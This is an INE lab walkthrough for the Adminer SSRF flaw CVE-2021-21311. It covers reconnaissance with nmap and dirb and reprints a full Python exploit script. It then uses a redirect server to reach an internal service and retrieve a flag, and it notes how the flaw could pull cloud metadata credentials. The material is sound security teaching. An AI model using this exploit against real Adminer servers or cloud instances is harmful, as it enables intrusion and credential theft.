Adminer SSRF Vulnerability (CVE-2021–21311)
In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!
Reference: https://www.adminer.org/
Description
Adminer is an open-source database management in a single PHP file. In Adminer from version 4.0.0 and before 4.7.9, there is a server-side request forgery vulnerability. Users of Adminer versions bundling all drivers (e.g. adminer.php) are affected. This is fixed in version 4.7.9.
This vulnerability had been assigned the CVE id CVE-2021–21311. The CVSS score for this vulnerability is 7.2 High.
Reference: https://nvd.nist.gov/vuln/detail/CVE-2021-21311
In this lab, we will learn how to exploit the server-side request forgery vulnerability in Adminer in a realistic environment and leverage it to access internal services and steal data from it.
Lab Environment
In this lab environment, the user is going to get access to a Kali GUI instance. A web server is running the target machine. It can be accessed using the tools installed on Kali at http://demo.ine.local. Besides this, an internal service is running on port 8080 of the target machine.
Objective: Exploit the SSRF vulnerability in Adminer to interact with the internal service on port 8080 and retrieve the flag!
Instructions
To perform directory enumeration, you can use the following wordlist file: /usr/share/wordlists/dirb/big.txt
Tools
The best tools for this lab are:
dirb
Nmap
Python
A web browser
Solution
Step 1: Open the lab link to access the Kali GUI instance.
Step 2: Check if the provided machine/domain is reachable.
Command:
ping -c3 demo.ine.local
The provided machine is reachable.
Step 3: Check open ports on the provided machine.
Command:
nmap -sS -sV demo.ine.local
Apache httpd 2.4.41 is running on port 80 on the target server.
Step 4: Check the website served by the Apache server.
Step 5: Perform directory enumeration against the target server.
Command:
Notice the index.php file is served by the webserver.
Step 6: Perform directory enumeration using a large wordlist.
Use the following command to look for more .php files on the target server:
Command: dirb http://demo.ine.local /usr/share/wordlists/dirb/big.txt -X .php
This time we have identified the presence of adminer.php as well.
Information:
Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consists of a single file ready to deploy to the target server. Adminer is available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Elasticsearch, MongoDB and others via plugin.
Reference: https://www.adminer.org/
Step 7: Open the Adminer page in the browser.
Open the following link:
URL: http://demo.ine.local/adminer.php
Adminer version 4.7.8 is available on the target server.
Step 8: Search for exploits on Adminer using searchsploit.
Command:
searchsploit adminer
Only one exploit, namely, Adminer 4.3.1 — Server-Side Request Forgery, is shown. Since the Adminer version on the server is 4.7.8, this exploit is not relevant for this lab.
Step 9: Search for the Adminer SSRF with the CVE id mentioned in the challenge description.
Search Query:
Adminer Server-Side Request Forgery CVE-2021-21311
Open the National Vulnerability Database (NVD) link:
NVD URL: https://nvd.nist.gov/vuln/detail/CVE-2021-21311
Adminer is an open-source database management in a single PHP file. There is a server-side request forgery vulnerability in Adminer from version 4.0.0 and before 4.7.9. Users of Adminer versions bundling all drivers (e.g. adminer.php) are affected. This is fixed in version 4.7.9.
Step 10: Check the Github advisory for the Adminer SSRF CVE (CVE-2021–21311).
URL: https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
Check the PDF link in the reference section:
URL: https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
It contains the details of this vulnerability and how it can be exploited to steal the access credentials in cloud environments (from the metadata service endpoint).
Step 11: Save the exploit code for the Adminer SSRF CVE.
Open the following URL:
URL: https://github.com/llhala/CVE-2021-21311
It contains the exploit code for CVE-2021–21311. Save the exploitation script as exploit.py:
exploit.py:
#!/usr/bin/python3
# CVE-2021-21311
from requests import Session
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from argparse import ArgumentParser
from bs4 import BeautifulSoup
class Adminer(object):
def __init__(self, host, debug = False):
if host[-1] == '/':
host = host[:-1]
self.host = host
self.session = Session()
if debug:
self.session.proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1'}
self.session.verify = False
def connect(self, driver, server, username, password, database, permanent = 0):
endpoint = 'index.php'
params = {
'auth[driver]': driver,
'auth[server]': server,
'auth[username]': username,
'auth[password]': password,
'auth[db]': database,
'auth[permanent]': permanent
}
response = self.session.post(f'{self.host}/{endpoint}', data = params, allow_redirects = True)
return response
class HTTPRequestHandler(BaseHTTPRequestHandler):
def __init__(self, redirect, *args):
self.redirect = redirect
BaseHTTPRequestHandler.__init__(self, *args)
def do_HEAD(self):
self.send_response(200)
self.end_headers()
def do_GET(self):
self.send_response(301)
self.send_header('Location', self.redirect)
self.end_headers()
def do_POST(self):
self.send_response(200)
self.end_headers()
def do_PUT(self):
self.send_response(200)
self.end_headers()
def do_PATCH(self):
self.send_response(200)
self.end_headers()
def do_DELETE(self):
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
print(f'[CLIENT] {self.client_address[0]}:{self.client_address[1]}')
print('[REQUEST]')
print(self.requestline)
data = None
for key in self.headers:
print(f'{key}: {self.headers[key]}')
if key.lower() == 'content-length':
data = self.rfile.read(int(self.headers[key])).decode()
if data:
print('[DATA]')
print(data)
class Server(object):
def __init__(self, host, port, redirect):
def handler(*args):
HTTPRequestHandler(redirect, *args)
httpd = HTTPServer((host, port), handler)
httpd.serve_forever()
class Parser(object):
def args(self):
argsp = ArgumentParser(description = 'CVE-2021-21311 - Exploit', epilog = 'example: python3 %(prog)s --host 10.10.14.21 --url http://adminer.local --redirect http://169.254.169.254/latest/meta-data/instance-id')
argsp.add_argument('--url', action = 'store', help = 'the vulnerable host', required = True)
argsp.add_argument('--redirect', action = 'store', help = 'url to redirect', required = True)
argsp.add_argument('--host', action = 'store', help = 'host interface to listen on & SSRF payload', required = True)
argsp.add_argument('--port', action = 'store', type = int, default = 80, help = 'port to listen on')
return argsp.parse_args()
def ssrf(self, html):
soup = BeautifulSoup(html, 'html.parser')
return soup.find('div', {'class': 'error'}).text
if __name__ == '__main__':
args = Parser().args()
print(f'Running HTTP Server on {args.host}:{args.port}')
thread = Thread(target = Server, args = (args.host, args.port, args.redirect), daemon = True)
thread.start()
print('[CVE-2021-21311]')
adminer = Adminer(host = args.url, debug = False)
html = adminer.connect(driver = 'elastic', server = f'{args.host}', username = '', password = '', database = '').text
response = Parser().ssrf(html)
print('[SSRF Response]')
print(response)
Command:
ls -l
Step 12: Check the usage of the exploitation script.
Command:
python3 exploit.py -h
Step 13: Exploit the Adminer SSRF CVE using the exploitation script.
Check the IP address of the target machine:
Command:
ip addr
The IP address of the attacker machine is 192.89.194.2.
Note: The IP address of your Kali GUI instance would be different. Make sure to replace the IP address in the subsequent commands with the IP address assigned to your attacker machine.
Run the following command to perform an SSRF attack and pull the data from an internal service running on port 8080 (mentioned in the challenge description):
Command:
python3 exploit.py --url http://demo.ine.local/adminer.php --redirect http://127.0.0.1:8080 --host 192.89.194.2 --port 80
Note: Here, we have assumed the attacker knows that the internal service is running on port 8080. But in a real-world engagement, that is usually not the case. In those cases, you can leverage this SSRF vulnerability to perform the port scan and interact with the services that speak plain HTTP protocol.
Notice the response indicates the internal service is running an HTTP server with file listing enabled. There is a flag.txt file entry in the response.
Step 14: Retrieve the flag from the internal HTTP service.
Command:
python3 exploit.py --url http://demo.ine.local/adminer.php --redirect http://127.0.0.1:8080/flag.txt --host 192.89.194.2 --port 80
Flag: ed2fdbbf218e44249d5baa09221b682b
With that, we conclude this lab on Adminer SSRF CVE-2021–21311. In this lab, we have leveraged the SSRF vulnerability in Adminer to interact with the internal HTTP service running on the target server, and we were successfully able to steal data from it.
Suppose the target server was instead an EC2 or an ECS container instance; in that case, we could have leveraged the SSRF vulnerability to interact with the metadata service to pull the access credentials assigned to the instance. These credentials could be leveraged to perform lateral movement in the cloud environment.
References
Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!